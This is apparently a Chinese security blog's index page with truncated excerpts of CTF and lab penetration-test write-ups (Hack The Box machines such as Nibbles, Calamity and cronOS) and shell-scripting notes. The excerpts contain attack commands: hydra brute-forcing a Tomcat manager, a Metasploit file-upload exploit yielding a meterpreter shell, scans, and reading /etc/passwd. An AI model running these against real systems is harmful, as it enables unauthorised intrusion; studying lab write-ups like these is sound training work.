shell-script（三）批量查询域名 知识点一：while–do–done 语句的运用categories: - linux知识点一：while–do–done 语句的运用案例一： 知识点二：判断符号1234567891011-eq //等于 equal-ne //不等于 not equal-gt //大于 （greater ）-lt //小于 （ 2019-04-02 运维 网络设置 编程 shell脚本
hydra&wfuzz弱密码测试用例(updating) Apache认证123cd /usr/share/seclists/hydra -C Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://ip:port/manager/html ssh/ftp密码认证12345678-l -L 设置用户名-p -P 设置密码小写为单个单词，大写为单词字典。 2019-03-24 编程 渗透测试 安全工具 密码安全测试
Frolic(CTF-like again) 10.10.10.11110.10.10.111categories: - training10.10.10.111 scan12345678910111213141516171819202122232425262728293031323334353637383940Nmap 7.70 scan initiated Fri Mar 22 16:23:48 2019 as: nmap -Pn -s 2019-03-23 过程记录 渗透测试 安全工具 CTF挑战
Valentine（CTF-like also） 12345Discovered open port 22/tcp on 10.10.10.79 Discovered open port 443/tcp on 10.10.10.79 Discovered open port 80/tcp on 10.10. 2019-03-22 部署过程 渗透测试 安全工具 CTF挑战
Calamity（web rce） nikto -h 10.10.10.27 Allowed HTTP Methods: OPTIONS, GET, HEAD, POST OSVDB-29786: /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote 2019-03-21 部署过程 渗透测试 安全工具 Web漏洞利用
shell-script（二） 案例三：写一个bash script，目的是扫描40台主机的全部端口，服务版本，生成以IP为目录的扫描结果。案例三：写一个bash script，目的是扫描40台主机的全部端口，服务版本，生成以IP为目录的扫描结果。categories: - linux案例三：写一个bash script，目的是扫描40台主机的全部端口，服务版本，生成以IP为目录的扫描结果。 扫描网段内在线主机 1234nma 2019-03-21 运维 部署过程 编程 安全工具 网络扫描
Apocalyst（CTF-like） 12345678922/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)| 256 76:92:39:0a:57:bd:f0:03:2 2019-03-21 部署过程 渗透测试 安全工具 CTF挑战
cronOS（域名查询） cat /etc/passwd | grep homeps -ef | grep rootroot 1083 1 0 Mar15 ? 00:00:00 /usr/sbin/cron -f 123#### mysql /var/www/admin/config.phpadmin 2019-03-16 域渗透 渗透测试 安全工具 Laravel安全 密码破解
Nibbles（sudo no pass ) 文件上传获得shell12345678use exploit/multi/http/nibbleblog_file_uploadset RHOSTS 10.10.10.75set USERNAME adminset PASSWORD nibblesset TARGETURI /nibbleblogrun获得meterpreter shell 提权参考以前做过的方式LTR Scene（php写入一句 2019-03-14 部署过程 渗透测试 安全工具 靶机渗透
Carrier(snmp泄露敏感信息) ifconfig123456789101112131415161718192021222324252627282930313233343536ifconfigeth0 Link encap:Ethernet HWaddr 00:16:3e:d9:04:ea inet addr:10.99.64.2 Bcast:10.99.64.255 Mask:255.255 2019-03-12 运维 网络设置 渗透测试 安全开发 SNMP安全